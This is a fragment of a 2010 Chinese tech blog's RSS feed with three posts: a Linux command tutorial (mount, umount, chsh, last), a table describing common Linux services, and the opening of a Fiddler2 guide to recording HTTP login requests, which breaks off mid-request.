<p>◆ Linux用的文件系统：ext2、ext3；</p>
<p>◆ CD-ROM光盘用的文件系统：iso9660。</p>
<p>虽然vfat是指FAT 32系统，但事实上它也兼容FAT 16的文件系统类型。</p>
<p>（2）确定设备的名称</p>
<p>在Linux中，设备名称通常都存在/dev里。这些设备名称的命名都是有规则的，可以用“推理”的方式把设备名称找出来。例如，/dev /hda1这个 IDE设备，hd是Hard Disk(硬盘)的，sd是SCSI Device，fd是Floppy Device(或是Floppy   Disk?)。a代表第一个设备，通常IDE接口可以接上4个IDE设备(比如4块硬盘)。所以要识别IDE硬盘的方法分别就是hda、hdb、hdc、  hdd。hda1中的“1”代表hda的第一个硬盘分区  (partition)，hda2代表hda的第二主分区，第一个逻辑分区从hda5开始，依此类推。此外，可以直接检查/var/log /messages文件，在该文件中可以找到计算机开机后系统已辨认出来的设备代号。</p>
<p>（3）查找挂接点</p>
<p>在决定将设备挂接之前，先要查看一下计算机是不是有个/mnt的空目录，该目录就是专门用来当作挂载点(Mount  Point)的目录。建议在/mnt里建几个/mnt/cdrom、/mnt/floppy、/mnt/mo等目录，当作目录的专用挂载点。举例而言，如 要挂载下列5个设备，其执行指令可能如下 (假设都是Linux的ext2系统，如果是Windows XX请将ext2改成vfat)：</p>
<p>软盘 ===&gt;mount －t ext2 /dev/fd0 /mnt/floppy<br />
cdrom ===&gt;mount －t iso9660 /dev/hdc /mnt/cdrom<br />
SCSI cdrom ===&gt;mount －t iso9660 /dev/sdb /mnt/scdrom<br />
SCSI cdr ===&gt;mount －t iso9660 /dev/sdc /mnt/scdr</p>
<p>不过目前大多数较新的Linux发行版本（包括红旗 Linux、中软Linux、Mandrake  Linux等）都可以自动挂装文件系统，但Red Hat Linux除外。</p>
<p>umount</p>
<p>1.作用</p>
<p>umount命令的作用是卸载一个文件系统，它的使用权限是超级用户或/etc/fstab中允许的使用者。</p>
<p>2.格式</p>
<p>unmount －a [－fFnrsvw] [－t vfstype] [－n] [－rw] [－F] device dir</p>
<p>3.使用说明</p>
<p>umount命令是mount命令的逆操作，它的参数和使用方法和mount命令是一样的。Linux挂装CD-ROM后，会锁定CD—ROM， 这样就不能用CD-ROM面板上的Eject按钮弹出它。但是，当不再需要光盘时，如果已将/cdrom作为符号链接，请使用umount/cdrom来 卸装它。仅当无用户正在使用光盘时，该命令才会成功。该命令包括了将带有当前工作目录当作该光盘中的目录的终端窗口。</p>
<p>chsh</p>
<p>1.作用</p>
<p>chsh命令的作用是更改使用者shell设定，它的使用权限是所有使用者。</p>
<p>2.格式</p>
<p>chsh [ －s ] [ －list] [ －－help ] [ －v ] [ username ]</p>
<p>3.主要参数</p>
<p>－l：显示系统所有Shell类型。</p>
<p>－v：显示Shell版本号。</p>
<p>4.应用技巧</p>
<p>前面介绍了Linux下有多种Shell，一般缺省的是Bash，如果想更换Shell类型可以使用chsh命令。先输入账户密码，然后输入新 Shell类型，如果操作正确系统会显示“Shell change”。其界面一般如下：</p>
<p>Changing fihanging shell for cao<br />
Password:<br />
New shell [/bin/bash]: /bin/tcsh</p>
<p>上面代码中，[  ]内是目前使用的Shell。普通用户只能修改自己的Shell，超级用户可以修改全体用户的Shell。要想查询系统提供哪些Shell，可以使用 chsh -l 命令，见图1所示。</p>
<p>图1 系统可以使用的Shell类型</p>
<p>从图1中可以看到，笔者系统中可以使用的Shell有bash（缺省）、csh、sh、tcsh四种。</p>
<p>exit</p>
<p>1.作用</p>
<p>exit命令的作用是退出系统，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>exit</p>
<p>3.参数</p>
<p>exit命令没有参数，运行后退出系统进入登录界面。</p>
<p>last</p>
<p>1.作用</p>
<p>last命令的作用是显示近期用户或终端的登录情况，它的使用权限是所有用户。通过last命令查看该程序的log，管理员可以获知谁曾经或企图 连接系统。</p>
<p>2.格式</p>
<p>1ast[—n][－f file][－t tty] [—h 节点][－I —IP][—1][－y][1D]</p>
<p>3.主要参数</p>
<p>－n：指定输出记录的条数。</p>
<p>－f file：指定用文件file作为查询用的log文件。</p>
<p>－t tty：只显示指定的虚拟控制台上登录情况。</p>
<p>－h 节点：只显示指定的节点上的登录情况。</p>
<p>－i IP：只显示指定的IP上登录的情况。</p>
<p>－1：用IP来显示远端地址。</p>
<p>－y：显示记录的年、月、日。</p>
<p>－ID：知道查询的用户名。</p>
<p>－x:显示系统关闭、用户登录和退出的历史。</p>
<p>动手练习</p>
<p>上面介绍了Linux安装和登录命令，下面介绍几个实例，动手练习一下刚才讲过的命令。</p>
<p>1.一次运行多个命令</p>
<p>在一个命令行中可以执行多个命令，用分号将各个命令隔开即可，例如：</p>
<p>＃last －x；halt</p>
<p>上面代码表示在显示系统关闭、用户登录和退出的历史后关闭计算机。</p>
<p>2.利用mount挂装文件系统访问Windows系统</p>
<p>许多Linux发行版本现在都可以自动加载Vfat分区来访问Windows系统，而Red  Hat各个版本都没有自动加载Vfat分区，因此还需要进行手工操作。</p>
<p>mount可以将Windows分区作为Linux的一个“文件”挂接到Linux的一个空文件夹下，从而将Windows的分区和/mnt这个 目录联系起来。因此，只要访问这个文件夹就相当于访问该分区了。首先要在/mnt下建立winc文件夹，在命令提示符下输入下面命令：</p>
<p>＃mount -t vfat /dev/hda1 /mnt/winc</p>
<p>即表示将Windows的C分区挂到Liunx的/mnt/winc目录下。这时，在/mnt/winc目录下就可以看到Windows中C盘的 内容了。使用类似的方法可以访问Windows系统的D、E盘。在Linux系统显示Windows的分区一般顺序这样的：hda1为C盘、hda5为D 盘、  hda6为E盘……以此类推。上述方法可以查看Windows系统有一个很大的问题，就是Windows中的所有中文文件名或文件夹名全部显示为问号  “？”，而英文却可以正常显示。我们可以通过加入一些参数让它显示中文。还以上面的操作为例，此时输入命令：</p>
<p>＃mount -t vfat -o iocharset=cp936 /dev/hda1 /mnt/winc</p>
<p>现在它就可以正常显示中文了。</p>
<p>3.使用mount加挂闪盘上的文件系统</p>
<p>在Linux下使用闪盘非常简单。Linux对USB设备有很好的支持，当插入闪盘后，闪盘被识别为一个SCSI盘，通常输入以下命令：</p>
<p>＃ mount /dev/sda1 /usb</p>
<p>就能够加挂闪盘上的文件系统。</p>
<p>小知识</p>
<p>Linux命令与Shell</p>
<p>所谓Shell，就是命令解释程序，它提供了程序设计接口，可以使用程序来编程。学习Shell对于Linux初学者理解Linux系统是非常重 要的。  Linux系统的Shell作为操作系统的外壳，为用户提供了使用操作系统的接口。Shell是命令语言、命令解释程序及程序设计语言的统称，是用户和  Linux内核之间的接口程序。如果把Linux内核想象成一个球体的中心，Shell就是围绕内核的外层。当从Shell或其它程序向Linux传递命 令时，内核会做出相应的反应。Shell在Linux系统的作用和MS DOS下的COMMAND.COM和Windows 95/98 的  explorer.exe相似。Shell虽然不是系统核心的一部分，只是系统核心的一个外延，但它能够调用系统内核的大部分功能。因此，可以说  Shell是Unux/Linux最重要的实用程序。</p>
<p>Linux中的Shell有多种类型，其中最常用的是Bourne Shell(sh)、C Shell(csh)和Korn  Shell(ksh)。大多数Linux发行版本缺省的Shell是Bourne Again Shell，它是Bourne  Shell的扩展，简称bash，与Bourne Shell完全向后兼容，并且在Bourne  Shell的基础上增加了很多特性。bash放在/bin/bash中，可以提供如命令补全、命令编辑和命令历史表等功能。它还包含了很多C  Shell和Korn  Shell中的优点，有灵活和强大的编程接口，同时又有很友好的用户界面。Linux系统中200多个命令中有40个是bash的内部命令，主要包括  exit、less、lp、kill、 cd、pwd、fc、fg等。</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/6005/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/6005/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/6005/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/6005/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/6005/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/6005/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux各种服务介绍</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/6001/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/6001/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:39:06 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=6001</guid>
		<description><![CDATA[服务列表（按字母顺序排列） 服务名 必 需（是/否） 用途描述 acon 否 语 言支持 acpi 否 电 源管理 acpid 否 监 听精灵进程 adsl 否 内 部ADSL开关控制 alsa 否 高 级Linux声音构件 anacron 否 周 期命令调度程序 apmd 否 电源管理 apmiser 否 电 源管理 arpwatch 否 以太网IP地址配对监控器 atd 否 周期命令调度程序 autofs 否 自动安装服务 bluetooth 否 蓝 牙技术核心 bootparamd 否 导入服务 canna 否 日 [...]]]></description>
			<content:encoded><![CDATA[<table>
<tbody>
<tr>
<td>服务列表（按字母顺序排列）</td>
</tr>
<tr>
<td>服务名</td>
<td></td>
<td>必 需（是/否）</td>
<td></td>
<td>用途描述</td>
</tr>
<tr>
<td>acon</td>
<td></td>
<td>否</td>
<td></td>
<td>语 言支持</td>
</tr>
<tr>
<td>acpi</td>
<td></td>
<td>否</td>
<td></td>
<td>电 源管理</td>
</tr>
<tr>
<td>acpid</td>
<td></td>
<td>否</td>
<td></td>
<td>监 听精灵进程</td>
</tr>
<tr>
<td>adsl</td>
<td></td>
<td>否</td>
<td></td>
<td>内 部ADSL开关控制</td>
</tr>
<tr>
<td>alsa</td>
<td></td>
<td>否</td>
<td></td>
<td>高 级Linux声音构件</td>
</tr>
<tr>
<td>anacron</td>
<td></td>
<td>否</td>
<td></td>
<td>周 期命令调度程序</td>
</tr>
<tr>
<td>apmd</td>
<td></td>
<td>否</td>
<td></td>
<td>电源管理</td>
</tr>
<tr>
<td>apmiser</td>
<td></td>
<td>否</td>
<td></td>
<td>电 源管理</td>
</tr>
<tr>
<td>arpwatch</td>
<td></td>
<td>否</td>
<td></td>
<td>以太网IP地址配对监控器</td>
</tr>
<tr>
<td>atd</td>
<td></td>
<td>否</td>
<td></td>
<td>周期命令调度程序</td>
</tr>
<tr>
<td>autofs</td>
<td></td>
<td>否</td>
<td></td>
<td>自动安装服务</td>
</tr>
<tr>
<td>bluetooth</td>
<td></td>
<td>否</td>
<td></td>
<td>蓝 牙技术核心</td>
</tr>
<tr>
<td>bootparamd</td>
<td></td>
<td>否</td>
<td></td>
<td>导入服务</td>
</tr>
<tr>
<td>canna</td>
<td></td>
<td>否</td>
<td></td>
<td>日 语转换引擎</td>
</tr>
<tr>
<td>capi4<a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">linux</a></td>
<td></td>
<td>否</td>
<td></td>
<td>基本CAPI子系统</td>
</tr>
<tr>
<td>cpqarrayd</td>
<td></td>
<td>否</td>
<td></td>
<td>硬件服务</td>
</tr>
<tr>
<td>cpufreq</td>
<td></td>
<td>否</td>
<td></td>
<td>硬 件服务</td>
</tr>
<tr>
<td>cpufreqd</td>
<td></td>
<td>否</td>
<td></td>
<td>硬件服务</td>
</tr>
<tr>
<td>crond</td>
<td></td>
<td>是</td>
<td></td>
<td>周期命令调度程序</td>
</tr>
<tr>
<td>Cups-lpd</td>
<td></td>
<td>否</td>
<td></td>
<td>使旧式Lunux或商业Unix系统连接到打印主机上.</td>
</tr>
<tr>
<td>cups</td>
<td></td>
<td>是</td>
<td></td>
<td>公共Unix打印系统</td>
</tr>
<tr>
<td>cvs</td>
<td></td>
<td>否</td>
<td></td>
<td>并 发版本系统</td>
</tr>
<tr>
<td>devfsd</td>
<td></td>
<td>否</td>
<td></td>
<td>系统维护</td>
</tr>
<tr>
<td>dhcpd</td>
<td></td>
<td>否</td>
<td></td>
<td>DHCP 服务器</td>
</tr>
<tr>
<td>diald</td>
<td></td>
<td>否</td>
<td></td>
<td>拨 号网络智能自动拨号器</td>
</tr>
<tr>
<td>dkms</td>
<td></td>
<td>否</td>
<td></td>
<td>DKMS 自安装导入</td>
</tr>
<tr>
<td>dm</td>
<td></td>
<td>是</td>
<td></td>
<td>显示管理器</td>
</tr>
<tr>
<td>dnbc</td>
<td></td>
<td>否</td>
<td></td>
<td>数 字网络绑定Chrooter</td>
</tr>
<tr>
<td>Drakxtools-http</td>
<td></td>
<td>否</td>
<td></td>
<td>小型服务管理服务器</td>
</tr>
<tr>
<td>dund</td>
<td></td>
<td>否</td>
<td></td>
<td>蓝牙拨号网络</td>
</tr>
<tr>
<td>fam</td>
<td></td>
<td>否</td>
<td></td>
<td>文件系统变更监控器</td>
</tr>
<tr>
<td>finger</td>
<td></td>
<td>否</td>
<td></td>
<td>数据远程访问</td>
</tr>
<tr>
<td>freshclam</td>
<td></td>
<td>是</td>
<td></td>
<td>ClamAV更新器</td>
</tr>
<tr>
<td>gpm</td>
<td></td>
<td>是</td>
<td></td>
<td>鼠标</td>
</tr>
<tr>
<td>haldaemon</td>
<td></td>
<td>否</td>
<td></td>
<td>硬 件监控系统</td>
</tr>
<tr>
<td>harddrake</td>
<td></td>
<td>否</td>
<td></td>
<td>硬 件服务</td>
</tr>
<tr>
<td>heartbeat</td>
<td></td>
<td>否</td>
<td></td>
<td>高 可用性服务</td>
</tr>
<tr>
<td>hidd</td>
<td></td>
<td>否</td>
<td></td>
<td>蓝牙H.I.D.服务器</td>
</tr>
<tr>
<td>hplip</td>
<td></td>
<td>否</td>
<td></td>
<td>惠普Linux打印与成像</td>
</tr>
<tr>
<td>hpoj</td>
<td></td>
<td>否</td>
<td></td>
<td>Pital?init, 惠普办公喷墨打印机驱动器</td>
</tr>
<tr>
<td>httpd</td>
<td></td>
<td>否</td>
<td></td>
<td>Apache网络服务器</td>
</tr>
<tr>
<td>hylafax?<a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">server</a></td>
<td></td>
<td>否</td>
<td></td>
<td>企业传真机?调制调解器服务</td>
</tr>
<tr>
<td>ibod</td>
<td></td>
<td>否</td>
<td></td>
<td>按需ISDN MPPP带宽</td>
</tr>
<tr>
<td>identd</td>
<td></td>
<td>否</td>
<td></td>
<td>TCP连接鉴定</td>
</tr>
<tr>
<td>imaps</td>
<td></td>
<td>否</td>
<td></td>
<td>安 全IMAP服务器</td>
</tr>
<tr>
<td>imaps</td>
<td></td>
<td>否</td>
<td></td>
<td>IMAP 服务器</td>
</tr>
<tr>
<td>iplog</td>
<td></td>
<td>否</td>
<td></td>
<td>用 主机名或远程主机记录TCP,UDP,ICMP.</td>
</tr>
<tr>
<td>ipop2</td>
<td></td>
<td>否</td>
<td></td>
<td>POP2邮件服务器</td>
</tr>
<tr>
<td>ipop3</td>
<td></td>
<td>否</td>
<td></td>
<td>POP3邮件服务器</td>
</tr>
<tr>
<td>ipsec</td>
<td></td>
<td>否</td>
<td></td>
<td>加密与验证通信</td>
</tr>
<tr>
<td>iptables</td>
<td></td>
<td>是</td>
<td></td>
<td>基 于Packet过滤防火墙内核</td>
</tr>
<tr>
<td>ipvsadmin</td>
<td></td>
<td>否</td>
<td></td>
<td>Linux 核心IP虚拟服务器</td>
</tr>
<tr>
<td>irda</td>
<td></td>
<td>否</td>
<td></td>
<td>红 外线设备界面</td>
</tr>
<tr>
<td>keytable</td>
<td></td>
<td>是</td>
<td></td>
<td>键盘映射</td>
</tr>
<tr>
<td>kheader</td>
<td></td>
<td>否</td>
<td></td>
<td>导入服务</td>
</tr>
<tr>
<td>lads</td>
<td></td>
<td>否</td>
<td></td>
<td>登 录异常探测系统</td>
</tr>
<tr>
<td>laptop</td>
<td></td>
<td>mode</td>
<td></td>
<td>否 电源管理</td>
</tr>
<tr>
<td>leafnode</td>
<td></td>
<td>否</td>
<td></td>
<td>X? INETD NNTP服务</td>
</tr>
<tr>
<td>lisa</td>
<td></td>
<td>否</td>
<td></td>
<td>局 域网信息服务器</td>
</tr>
<tr>
<td>lmsensors</td>
<td></td>
<td>否</td>
<td></td>
<td>硬件健康监控器</td>
</tr>
<tr>
<td>mailman</td>
<td></td>
<td>否</td>
<td></td>
<td>GUN 邮件列表管理器</td>
</tr>
<tr>
<td>mandi</td>
<td></td>
<td>否</td>
<td></td>
<td>交互式防火墙</td>
</tr>
<tr>
<td>mdadm</td>
<td></td>
<td>否</td>
<td></td>
<td>软阵列监控服务</td>
</tr>
<tr>
<td>mdnsresponder</td>
<td></td>
<td>否</td>
<td></td>
<td>零配置DNS配置工具</td>
</tr>
<tr>
<td>messagebus</td>
<td></td>
<td>是</td>
<td></td>
<td>事件监控服务</td>
</tr>
<tr>
<td>mon</td>
<td></td>
<td>是</td>
<td></td>
<td>系 统监控精灵进程</td>
</tr>
<tr>
<td>mysqld</td>
<td></td>
<td>否</td>
<td></td>
<td>MySQL服务器</td>
</tr>
<tr>
<td>named 否</td>
<td></td>
<td>绑定</td>
<td></td>
<td>(BIND) 服务器</td>
</tr>
<tr>
<td>netplugd</td>
<td></td>
<td>否</td>
<td></td>
<td>网卡精灵进程</td>
</tr>
<tr>
<td>network</td>
<td></td>
<td>是</td>
<td></td>
<td>网络</td>
</tr>
<tr>
<td>nfs</td>
<td></td>
<td>否</td>
<td></td>
<td>网 络文件共享</td>
</tr>
<tr>
<td>nfsfs</td>
<td></td>
<td>否</td>
<td></td>
<td>网络文件共享服务器</td>
</tr>
<tr>
<td>nfslock</td>
<td></td>
<td>否</td>
<td></td>
<td>NFS 文件锁定</td>
</tr>
<tr>
<td>nifd</td>
<td></td>
<td>否</td>
<td></td>
<td>Howl 客户端</td>
</tr>
<tr>
<td>nscd</td>
<td></td>
<td>否</td>
<td></td>
<td>密码与群查找服务</td>
</tr>
<tr>
<td>ntpd</td>
<td></td>
<td>否</td>
<td></td>
<td>NTP服务器的第4版</td>
</tr>
<tr>
<td>numlock</td>
<td></td>
<td>否</td>
<td></td>
<td>数字锁定键灯光控制</td>
</tr>
<tr>
<td>Oki4daemon</td>
<td></td>
<td>否</td>
<td></td>
<td>OKI4 和兼容win打印机的兼容性精灵进程</td>
</tr>
<tr>
<td>pand</td>
<td></td>
<td>否</td>
<td></td>
<td>蓝 牙个人区域网络</td>
</tr>
<tr>
<td>partmon</td>
<td></td>
<td>是</td>
<td></td>
<td>分区监控</td>
</tr>
<tr>
<td>pcmcia</td>
<td></td>
<td>否</td>
<td></td>
<td>个人电脑内存卡国际协会</td>
</tr>
<tr>
<td>pg_autovacum</td>
<td></td>
<td>否</td>
<td></td>
<td>PostgreSQL维护</td>
</tr>
<tr>
<td>pop3s</td>
<td></td>
<td>否</td>
<td></td>
<td>安 全POP3服务</td>
</tr>
<tr>
<td>portmap</td>
<td></td>
<td>否</td>
<td></td>
<td>RPC支持</td>
</tr>
<tr>
<td>postgresql</td>
<td></td>
<td>否</td>
<td></td>
<td>Postgresql数据库引擎</td>
</tr>
<tr>
<td>postfix</td>
<td></td>
<td>否</td>
<td></td>
<td>电子邮件服务器</td>
</tr>
<tr>
<td>pptp</td>
<td></td>
<td>否</td>
<td></td>
<td>PPP 断电服务</td>
</tr>
<tr>
<td>prelude</td>
<td></td>
<td>否</td>
<td></td>
<td>IDS</td>
</tr>
<tr>
<td>psacct</td>
<td></td>
<td>否</td>
<td></td>
<td>进程计算</td>
</tr>
<tr>
<td>rawdevices</td>
<td></td>
<td>是</td>
<td></td>
<td>分 配raw设备,阻止其使用</td>
</tr>
<tr>
<td>rsync</td>
<td></td>
<td>否</td>
<td></td>
<td>远程同步</td>
</tr>
<tr>
<td>saned</td>
<td></td>
<td>否</td>
<td></td>
<td>网络扫描仪</td>
</tr>
<tr>
<td>shorwall</td>
<td></td>
<td>是</td>
<td></td>
<td>防 火墙</td>
</tr>
<tr>
<td>smartd</td>
<td></td>
<td>否</td>
<td></td>
<td>自 我监控服务</td>
</tr>
<tr>
<td>smb</td>
<td></td>
<td>否</td>
<td></td>
<td>Samba网络服务</td>
</tr>
<tr>
<td>snmpd</td>
<td></td>
<td>否</td>
<td></td>
<td>简单的网络管理协议</td>
</tr>
<tr>
<td>sound</td>
<td></td>
<td>否</td>
<td></td>
<td>声 音系统</td>
</tr>
<tr>
<td>squid</td>
<td></td>
<td>否</td>
<td></td>
<td>高速缓存工具</td>
</tr>
<tr>
<td>ssh?xinetd</td>
<td></td>
<td>否</td>
<td></td>
<td>X?inetd  OpenSSH服务器</td>
</tr>
<tr>
<td>sshd</td>
<td></td>
<td>否</td>
<td></td>
<td>OpenSSH 服务器</td>
</tr>
<tr>
<td>subversion</td>
<td></td>
<td>否</td>
<td></td>
<td>并 发版本系统</td>
</tr>
<tr>
<td>swat</td>
<td></td>
<td>否</td>
<td></td>
<td>Samba 网络管理工具</td>
</tr>
<tr>
<td>syslog</td>
<td></td>
<td>是</td>
<td></td>
<td>系统登录</td>
</tr>
<tr>
<td>tmdns</td>
<td></td>
<td>否</td>
<td></td>
<td>多 点传送DNS响应器</td>
</tr>
<tr>
<td>ultrabayed</td>
<td></td>
<td>否</td>
<td></td>
<td>ThinkPad 工具</td>
</tr>
<tr>
<td>upsd</td>
<td></td>
<td>否</td>
<td></td>
<td>NUT 精灵进程及驱动器</td>
</tr>
<tr>
<td>upsmon</td>
<td></td>
<td>否</td>
<td></td>
<td>UPS 监控工具</td>
</tr>
<tr>
<td>vncserver</td>
<td></td>
<td>否</td>
<td></td>
<td>虚拟网络计算服务器</td>
</tr>
<tr>
<td>Webmin</td>
<td></td>
<td>否</td>
<td></td>
<td>远 程管理工具</td>
</tr>
<tr>
<td>winbind</td>
<td></td>
<td>否</td>
<td></td>
<td>Samba名称服务器</td>
</tr>
<tr>
<td>wine</td>
<td></td>
<td>否</td>
<td></td>
<td>Wine 并非竞争者</td>
</tr>
<tr>
<td>wlan</td>
<td></td>
<td>否</td>
<td></td>
<td>控 制精灵进程</td>
</tr>
<tr>
<td>x?inetd</td>
<td></td>
<td>是</td>
<td></td>
<td>监控并控制其它服务器的服务器</td>
</tr>
<tr>
<td>xfs</td>
<td></td>
<td>是</td>
<td></td>
<td>X字体服务器</td>
</tr>
<tr>
<td>ypbind</td>
<td></td>
<td>否</td>
<td></td>
<td>SUN 的YP服务器名称服务器</td>
</tr>
</tbody>
</table>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/6001/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/6001/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/6001/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/6001/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/6001/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/6001/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用Fiddler2录制HTTP操作脚本</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/5998/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/5998/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:30:11 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Tool]]></category>
		<category><![CDATA[站长工具]]></category>
		<category><![CDATA[Fidder]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5998</guid>
		<description><![CDATA[Fiddler本身是用来做web debugging的工具。其具体的介绍和更多的使用方法请参考知识库中以下文章: Fiddler&#8212;Web调试代理工具 在线调试JavaScript和CSS 本文将详细介绍如何通过fiddler2录制http操作请求的脚本。 为了只保留操作过程中的关键请求数据，我们需要自定义fiddler的过滤项。 完整的录制步骤如下: 打开fiddler2，此时后台会启动一个代理服务器。此后所有的http请求都会经过此代理服务器进行请求转发。 配置fiddler2过滤项。 1：首先需要只保留fiddler对浏览器请求的捕捉。点击左下角处的&#8221;All processes&#8221;变成&#8221;Web Browers&#8221;即可。这样fiddler就只捕捉IE或Firefox的请求 2：指定默认的Rules。在fiddler的菜单栏中选择&#8221;Rules&#8221;,弹出下拉列表后，选择以下三项:&#8221;Hide Image Requests&#8221;,&#8221;Remove All Encodings&#8221;,&#8221;Hide 304s&#8221;. 自定义过滤规则。由于目前的平台4.0系统中存在有大量的循环或显示用的请求，因此还需要自定义过滤规则。 3：选择&#8221;Rules&#8221;&#8212;&#62;&#8221;Customize Rules&#8221;,在弹出的文本文件中进行修改和补充后，自定义规则即时生效。或者使用Rules插件进行修改. 在该文件中找到static function OnBeforeRequest(oSession: Session)，OnBeforeResponse方法，增加相应的过滤规则，就会相应的过滤请求。 以下为OnBeforeRequest中增加的过滤条件.附件为一修改后的脚本CustomRules.js 该文件位于C:\Documents and Settings\username\My Documents\Fiddler2\Scripts //过滤请求不显示到界面上. if(oSession.HTTPMethodIs(&#8220;GET&#8221;)){ oSession["ui-hide"] = &#8220;true&#8221;; } else{ if (oSession.uriContains(&#8220;BootAndPtStatus.do&#8221;)){ oSession["ui-hide"] = &#8220;true&#8221;; } if (oSession.uriContains(&#8220;Alarmlog.do&#8221;)){ oSession["ui-hide"] = &#8220;true&#8221;; } if (oSession.uriContains(&#8220;SystemRun.do&#8221;)){ oSession["ui-hide"] = &#8220;true&#8221;; } [...]]]></description>
			<content:encoded><![CDATA[<p>Fiddler本身是用来做web debugging的工具。其具体的介绍和更多的使用方法请参考知识库中以下文章:</p>
<p>Fiddler&#8212;Web调试代理工具</p>
<p>在线调试JavaScript和CSS</p>
<p>本文将详细介绍如何通过fiddler2录制http操作请求的脚本。</p>
<p>为了只保留操作过程中的关键请求数据，我们需要自定义fiddler的过滤项。</p>
<p>完整的录制步骤如下:</p>
<p>打开fiddler2，此时后台会启动一个代理服务器。此后所有的http请求都会经过此代理服务器进行请求转发。<br />
配置fiddler2过滤项。<br />
1：首先需要只保留fiddler对浏览器请求的捕捉。点击左下角处的&#8221;All processes&#8221;变成&#8221;Web  Browers&#8221;即可。这样fiddler就只捕捉IE或Firefox的请求<br />
2：指定默认的Rules。在fiddler的菜单栏中选择&#8221;Rules&#8221;,弹出下拉列表后，选择以下三项:&#8221;Hide Image  Requests&#8221;,&#8221;Remove All Encodings&#8221;,&#8221;Hide 304s&#8221;.<br />
自定义过滤规则。由于目前的平台4.0系统中存在有大量的循环或显示用的请求，因此还需要自定义过滤规则。<br />
3：选择&#8221;Rules&#8221;&#8212;&gt;&#8221;Customize  Rules&#8221;,在弹出的文本文件中进行修改和补充后，自定义规则即时生效。或者使用Rules插件进行修改.<br />
在该文件中找到static function OnBeforeRequest(oSession:  Session)，OnBeforeResponse方法，增加相应的过滤规则，就会相应的过滤请求。<br />
<span id="more-5998"></span><br />
以下为OnBeforeRequest中增加的过滤条件.附件为一修改后的脚本CustomRules.js<br />
该文件位于C:\Documents and Settings\username\My  Documents\Fiddler2\Scripts<br />
//过滤请求不显示到界面上.<br />
if(oSession.HTTPMethodIs(&#8220;GET&#8221;)){<br />
oSession["ui-hide"] = &#8220;true&#8221;;<br />
} else{<br />
if (oSession.uriContains(&#8220;BootAndPtStatus.do&#8221;)){<br />
oSession["ui-hide"] = &#8220;true&#8221;;<br />
}</p>
<p>if (oSession.uriContains(&#8220;Alarmlog.do&#8221;)){<br />
oSession["ui-hide"] = &#8220;true&#8221;;<br />
}</p>
<p>if (oSession.uriContains(&#8220;SystemRun.do&#8221;)){<br />
oSession["ui-hide"] = &#8220;true&#8221;;<br />
}</p>
<p>}保存脚本。在左侧的请求序列中，选择需要保存的请求数据后，点击右键在弹出的界面中，选择&#8221;Save  &#8220;-&gt;&#8221;Sessions&#8221;-&gt;&#8221;As Text&#8221;.这样选中的请求就会以文本形式保存。<br />
下面为保存的已录制脚本数据.</p>
<p>该脚本中包含三个步骤的操作:登陆-&gt;强制登陆&#8211;&gt;登出</p>
<p>POST /login.dof?action=userLogin HTTP/1.1<br />
Accept: */*<br />
Accept-Language: zh-cn<br />
Referer: http://192.168.19.2:8080/login.html<br />
x-requested-with: XMLHttpRequest<br />
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />
UA-CPU: x86<br />
